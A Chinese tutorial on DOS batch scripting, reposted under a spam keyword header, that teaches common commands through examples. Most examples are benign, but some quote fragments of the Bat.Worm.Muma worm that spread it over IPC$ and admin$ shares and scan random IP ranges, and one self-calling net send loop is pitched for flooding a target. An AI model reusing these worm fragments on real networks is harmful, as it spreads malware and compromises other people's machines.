日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

批处理精华教程

發(fā)布時間:2025/3/15 编程问答 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 批处理精华教程 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

這是一篇技術(shù)教程,我會用很簡單的文字表達清楚自己的意思,你要你 識字就能看懂,就能學到知識。寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的 方法,就是慢!慢慢的,如同品一個女人、一杯茗茶,你會發(fā)現(xiàn)很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到了眼前。

先 概述一下批處理是個什么東東。批處理的定義,至今我也沒能給出一個合適的----眾多高手們也都沒給出----反正我不知道----看了我也不一定信服- ---我是個菜鳥,當然就更不用說了;但我想總結(jié)出一個“比較合適的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什么東東,你用 這個東東可以干什么事情。或許你會因為這篇文章而“無條件愛上批處理”,那么我的目的就達到了----我就是要讓你愛上它,我就這么拽,你能怎么著??真 的,愛有時候就這么拽,就是這么沒理由,就是這么不要臉!真的!

按照我的理解,批處理的本質(zhì),是一堆DOS命令按一定順序排列而形成的集合。

OK,never claver and get to business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個字母。它的構(gòu)成沒有固定格式, 只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執(zhí)行,直到最后一行結(jié)束,它運行的平臺是DOS。批處理有一 個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的內(nèi)容算是代碼吧?)的問題本來就是枯 燥的,很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不 知不覺中愛上批處理(暈,怎么又是愛?到底批處理和愛有什么關(guān)系?答案:沒有!)。再說句“閑話”:要學好批處理,DOS基礎(chǔ)一定要牢!當然腦子靈活也是 很重要的一方面。

例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是 不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執(zhí)行這個批處理后,可以在你的當前盤建立一個名為a.txt的文件,它里面記錄的信息可以幫 助你迅速找到速度最快的QQ服務(wù)器,從而遠離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,> >的作用,和>的相同,區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面,具體的說是下一行,而前面一行命令得出的結(jié)果將保留,這樣可以使這個 a.txt文件越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結(jié)合,搞成完全自動化判斷服務(wù)器速度的東東,執(zhí)行后直接顯示速度最快的服務(wù)器IP,是不是很爽?后面還將詳細介紹。

例二、再給出一個已經(jīng)過時的例子(a.bat):

@echo off
if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif
a.bat

為 什么說這是個過時的例子呢?很簡單,因為現(xiàn)在已經(jīng)幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢!!),所以它幾乎用不上了。但曾經(jīng)它的 作用是不可小窺的:刪除QQ的廣告,讓對話框干干凈凈。這里用的地址是QQ的默認安裝地址,默認批處理文件名為a.bat,你當然可以根據(jù)情況自行修改。 在這個腳本中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關(guān)閉命令執(zhí)行后的DOS窗口,不按CTRL+C強行終止命令,它就 一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當然這個腳本占用你一點點內(nèi)存,呵呵。


例三,使用批處理腳本查是否中冰河。腳本內(nèi)容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

這 里利用了netstat命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的, 因為冰河默認的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一 下,加進去參數(shù)和端口及信息列表文件后,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令&&和管道命令 |,后面將詳細介紹。

例四,借批處理自動清除系統(tǒng)垃圾,腳本如下:

@echo off
if exist c:/windows/temp/*.* del c:/windows/temp/*.*
if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.*
if exist c:/windows/History/*.* del c:/windows/History/*.*
if exist c:/windows/recent/*.* del c:/windows/recent/*.*

將以上腳本內(nèi)容保存到autoexec.bat里,每次開機時就把系統(tǒng)垃圾給自動刪除了。這里需要注意兩點:一、DOS不支持長文件名,所以就出現(xiàn)了Tempor~1這個東東;二、可根據(jù)自己的實際情況進行改動,使其符合自己的要求。

怎 么樣,看到這里,你對批處理腳本是不是已經(jīng)有點興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和 幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續(xù)的話,I 服了 YOU!繼續(xù)努力吧,也許到最后你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。

為什么會把批處理和愛情扯上關(guān)系?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有 很多相同的地方,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻 (愛情是什么?我**怎么知道!!),沒準你心里一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀態(tài)不是很好,感冒發(fā)燒頭疼鼻塞,但主要還是感情 上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果----不至于讓你看著看著就睡著了,把 頭磕了來找我報銷醫(yī)藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。


看過第一章的朋友,一定對批處 理有了初步的印象,知道它到底是用來干什么的了。但你知道運用批處理的精髓在哪里嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有 點不同了,因為愛情的世界是兩個人的世界,一廂情愿不叫愛情(補充:那叫單戀。廢話!)而批處理卻是一個人的天堂,你可以為所欲為,沒有達不到的境界!

批 處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定 得到你想要的結(jié)果,也許是一屏幕的Bad command or fail name。這又和愛情有了共同點:按步驟來經(jīng)營,缺少或增多的步驟都可能導致不想看見的結(jié)果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理, 輸出的結(jié)果不是Bad command or fail name,屏幕是這么顯示的:‘你的愛情’不是內(nèi)部或外部命令,也不是可運行的程序或批處理文件。然后就是光標不停閃動,等待這下一次錯誤的輸入。

從 這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的BODY部分,但批處理比DOS 更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較扎實的基礎(chǔ)。這里只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR 等就不做介紹了(這些看似簡單的命令實際復雜的很,我怕自己都說不清楚!)。

例五,先看一個實例。這是一個很有意思的腳本,一個小巧實用 的好東東,把批處理“自動化”的特點體現(xiàn)的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,先要對源代碼進行匯編、連 接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯編課程設(shè)計時,我“被 逼”寫了這個腳本,用起來很爽,呵呵。看看腳本內(nèi)容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先 不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的!!)。已經(jīng)給出了每一行命令的解釋,兩個冒號后面的內(nèi)容為前一行內(nèi)容 解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這么懶?),在腳本執(zhí)行時不顯示,也不起任何作用。倒數(shù)第5 行行首有一個冒號,可不是筆誤哦!具體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼 (當然還有這個腳本,廢話!)一起在當前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現(xiàn)從匯編源代碼 到可執(zhí)行exe文件的自動化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源 代碼界面;如果源代碼匯編成功,則進行連接,并在連接后自動執(zhí)行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進 性,簡單進行修改就可以符合不同朋友的上機習慣。正在學匯編的朋友,一定別忘了實習一下!

在這個腳本中出現(xiàn)了如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。

1、@

這 個符號大家都不陌生,email的必備符號,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執(zhí)行窗口中 不顯示它后面這一行的命令本身(多么繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執(zhí)行時不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒關(guān)系,看完echo命令簡介,自然就懂了。

2、echo

中 文為“反饋”、“回顯”的意思。它其實是一個開關(guān)命令,就是說它只有兩種狀態(tài):打開和關(guān)閉。于是就有了echo on和echo off兩個命令了。直接執(zhí)行echo命令將顯示當前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令。在例五中,首行的@命令和echo off命令聯(lián)合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!

echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么??)。
echo命令的另一種用法二:可以直接編輯文本文件。例六:


echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當前目錄下生成一個a.bat的文件,直接執(zhí)行就會得到結(jié)果。

3、::

這個命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。

4、pause

中 文為“暫停”的意思(看看你的workman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,并顯示一 行信息:請按任意鍵繼續(xù). . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是masm程序在顯示錯 誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。

5、:和goto

為什么要把這兩個命令聯(lián)合起來介紹?因為它 們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉(zhuǎn)命令,:是一個標簽。當程序運行到goto時,將自動跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不 是分不開?)。例五中倒數(shù)第5行行首出現(xiàn)一個:,則程序在運行到goto時就自動跳轉(zhuǎn)到:標簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是 標簽名稱)。不難看出,goto命令就是根據(jù)這個冒號和標簽名稱來尋找它該跳轉(zhuǎn)的地方,它們是一一對應(yīng)的關(guān)系。goto命令也經(jīng)常和if命令結(jié)合使用。至 于這兩個命令具體用法,參照例五。

goto命令的另一種用法一:提前結(jié)束程序。在程序中間使用goto命令跳轉(zhuǎn)到某一標簽,而這一標簽的內(nèi)容卻定義為退出。如:

……
goto end
……
:end

這里:end在腳本最后一行!其實這個例子很弱智,后面講了if命令和組合命令你就知道了。

6、%

這個百分號嚴格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,以后還將詳細介紹),但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:

net use //%1/ipc$ %3 /u:"%2"
copy 11.BAT //%1/admin$/system32 /y
copy 13.BAT //%1/admin$/system32 /y
copy ipc2.BAT //%1/admin$/system32 /y
copy NWZI.EXE //%1/admin$/system32 /y
attrib //%1/admin$/system32/10.bat -r -h -s

以 上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。假設(shè)這個腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個參數(shù),缺一不可(因為程序不能正確運行,并不是因為少了參數(shù)語法就不對)這樣在腳 本執(zhí)行過程中,腳本就自動用用你的三個參數(shù)依次(記住,是依次!也是一一對應(yīng)的關(guān)系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在 腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達到不同的目的,是不是 更靈活?)。

關(guān)于這個參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!

這 一章就寫到這里了。可能有朋友問了:怎么沒介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐 怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己 肚子里的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經(jīng)會把計算機等級考試上機試題中的DOS部分用 批處理來自動化完成了。

煩!就好象一個半老女人到了更年期,什么事都想嘮叨幾句,什么事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山 行,最后留下一身傷痕無功而返時,才發(fā)現(xiàn)自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最后一次扁人的那一刻,還真有點 懷念(其實我很不喜歡扁人,更不喜歡被人扁)。我需要發(fā)泄,我用手指拼命的敲打著鍵盤,在一陣接一陣有節(jié)奏的聲音中,屏幕上出現(xiàn)了上面的這些文字。可難道 這就是發(fā)泄的另一種方式嗎?中國人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養(yǎng)也”,真**有先見之明,佩服!雖然是在發(fā)泄,不過大家請放 心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的!
曾經(jīng)有一篇經(jīng)典的批處理教程 出現(xiàn)在你的屏幕上,你沒有保存,直到找不到它的鏈接你才后悔莫及,人世間最大的痛苦莫過于此。如果上天能給你一個再看一次的機會,你會對那篇教程說三個 字:我愛你!如果非要給這份愛加上一個期限,你希望是100年。因為100年后,你恐怕早已經(jīng)掛了!而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程, 雖然不如你曾經(jīng)看的那篇經(jīng)典,但如果勉強還過的去。你會愛它嗎?時間會有50年那么長嗎?答案是:試試看吧。

批處理腳本中最重要的幾 個命令,將在這一章詳細介紹,但是很遺憾,有些細節(jié)到現(xiàn)在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收 獲。所以可能講的會比較籠統(tǒng),但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有 些事情,比如學批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經(jīng) 掌握了這篇教程的所有東西----但那也就不必看了,浪費時間!

7、if

接上一章,接著講if命令。總的來說,if命令是一個表示判斷的命令,根據(jù)得出的每一個結(jié)果,它都可以對應(yīng)一個相應(yīng)的操作。關(guān)于它的三種用法,在這里分開講。

(1)、輸入判斷。還是用例五里面的那幾句吧:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

這 里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或 help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉(zhuǎn)到usage。這里還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡單?其實翻譯成中 文體會一下就understand了。

(2)、存在判斷。再看例二里這句:

if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif

如 果存在那些gif文件,就刪除這些文件。當然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果 不存在那些gif文件則退出腳本”:if not exist C:/Progra~1/Tencent/AD/*.gif exit。只是多一個not來表示否定而已。

(3)、結(jié)果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先 對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有 關(guān)的地方,&命令后面會講到。這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫錯誤碼,DOS程序在運行完后都有返回碼),如果和定義的錯誤碼符 合(這里定義的錯誤碼為1),則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。

另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變?yōu)?#xff1a;

masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看 到本質(zhì)了吧?其實只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執(zhí)行成 功)。這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練 習!自己寫一個腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執(zhí)行(怎么,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了? 后面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。

這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上代碼必須變成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

關(guān) 于if命令的這三種用法就say到這里,理解很簡單,但應(yīng)用時就不一定用的那么得心應(yīng)手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎么沒給出類似 下面三行的用法介紹,是因為下面三行是if命令幫助里對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令的理解來介紹。 一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學教我們學 會透過現(xiàn)象看事物本質(zhì)!)。有興趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

學過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實也是一樣的。在批處理腳本中,call命令用來從一個批處理腳本中調(diào)用另一個批處理腳本。看例八(默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat):

start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有 沒有看出什么不對的地方?沒看出來啊?沒看出來就對了,其實就沒有不對的地方嘛,你怎么看的出來!從上面兩個腳本,你可以得到如下信息:1、腳本調(diào)用可以 靈活運用,循環(huán)運用、重復運用。2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點就不多說了,聰明的你一看就應(yīng)該會,這里說一下第二點。

在start.bat 中,10.bat后面跟了參數(shù)0,在執(zhí)行時的效果,其實就是把10.bat里的參數(shù)%1用0代替。在start.bat中,ipc.bat后面跟了參數(shù) ipcfind.txt(一個文件,也可以做參數(shù)),執(zhí)行時的效果,就是用ipc.bat中的每一行的三個變量(這里不懂沒關(guān)系,學過for命令后就懂 了),對應(yīng)代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調(diào)用腳本,至于連腳 本的參數(shù)一起使用的情況,在后面的學習中自然就會有比較深刻的理解,這是因為當你已經(jīng)可以靈活運用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然 包括到了考慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機會見到這個病毒的真面目。
那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰?)?呵呵,注意了,這句話錯了!!只有一個照樣可以調(diào)用----調(diào)用自身!看例九(默認腳本文件名a.bat):

net send %1 This is a call example.
call a.bat

這 兩句一結(jié)合,效果自然不怎么樣,因為只有一臺機器來發(fā)消息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執(zhí)行,而且每臺機器開10和窗口同時 向一個目標機器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達到了循環(huán)執(zhí)行的目的。

給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認腳本文件名為a.bat):

call a.bat

一 定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,看不到最后結(jié)果。等執(zhí)行完后,當腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛情有時候 跟這個腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。只是愛情,絕對不會等到被毫無理由的循環(huán)這么多次,也許在第三次時就出現(xiàn)了love is aborted的提示。

9、find

這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?)。這個命令單獨使用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例三來說明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先 用netstat命令檢查是否有冰河默認的端口7626在活動,并把結(jié)果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi) 容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出。看,find命令其實就這么簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直 接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有默認路徑就是當前路徑的功能,必須手動指定。也許是我錯了,歡迎 指正)。因為在find命令的幫助里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產(chǎn)生的文字。這里的“另一個命令”自然就指的 type命令了。

至于find命令的其他幾個參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學習的內(nèi)容了,這里就不做介紹。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續(xù)的教程中將介紹,希望關(guān)注。

10、for、set、shift

為 什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個命令,我是從研究 Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一 個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說如何領(lǐng)會這兩個命令。因為要領(lǐng)會如此精妙的兩個命令 (特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些別的這樣 那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權(quán)利。看例十一:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

執(zhí) 行后在當前路徑下就生成for.txt、set.txt和shift.txt三個文件,里面分別記錄了for命令、set命令和shift命令的幫助信 息。地球人都能看懂,我就不多說了。我在網(wǎng)上曾經(jīng)找了很長時間這三個命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令 后,一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程(關(guān)于shift命令,后面介紹批處理的參數(shù)時還將涉及到),一定會的,這是我的 心愿之一!需要注意的一點是,這三個命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經(jīng) 需要足夠的耐心了,要進一步練習領(lǐng)會這兩個命令,難道不需要更大的耐心?實戰(zhàn)練習的機會我會留給你的,關(guān)鍵還是那句話,看你有沒有耐心去研究了。看看例十 二:

START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

這 是Bat.Worm.Muma病毒的起始腳本,設(shè)置了病毒運行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應(yīng)該能 體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛她的過程如看上面代 碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前所未有 的充足,面對她的復雜和善變,你自己會處變不驚,以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場面,即使到最后一身傷痕,也會感慨曾經(jīng)的舉動有多么偉大。

